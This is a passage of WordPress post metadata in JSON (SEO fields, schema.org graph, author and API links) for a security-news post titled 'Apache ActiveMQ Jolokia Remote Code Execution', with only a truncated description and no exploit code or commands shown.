redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=58923","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:17:12&#8243;,&#8221;description&#8221;:&#8221;This is a proof of concept security research tool that evaluates a potential authenticated remote code execution pathway through the Jolokia management interface exposed by...","og_url":"https:\/\/zero.redgem.net\/?p=58923","og_site_name":"zero redgem","article_published_time":"2026-06-01T13:52:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=58923#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=58923"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315","datePublished":"2026-06-01T13:52:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=58923"},"wordCount":2227,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=58923#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=58923","url":"https:\/\/zero.redgem.net\/?p=58923","name":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-01T13:52:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=58923#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=58923"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=58923#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58923","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=58923"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58923\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=58923"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=58923"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=58923"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}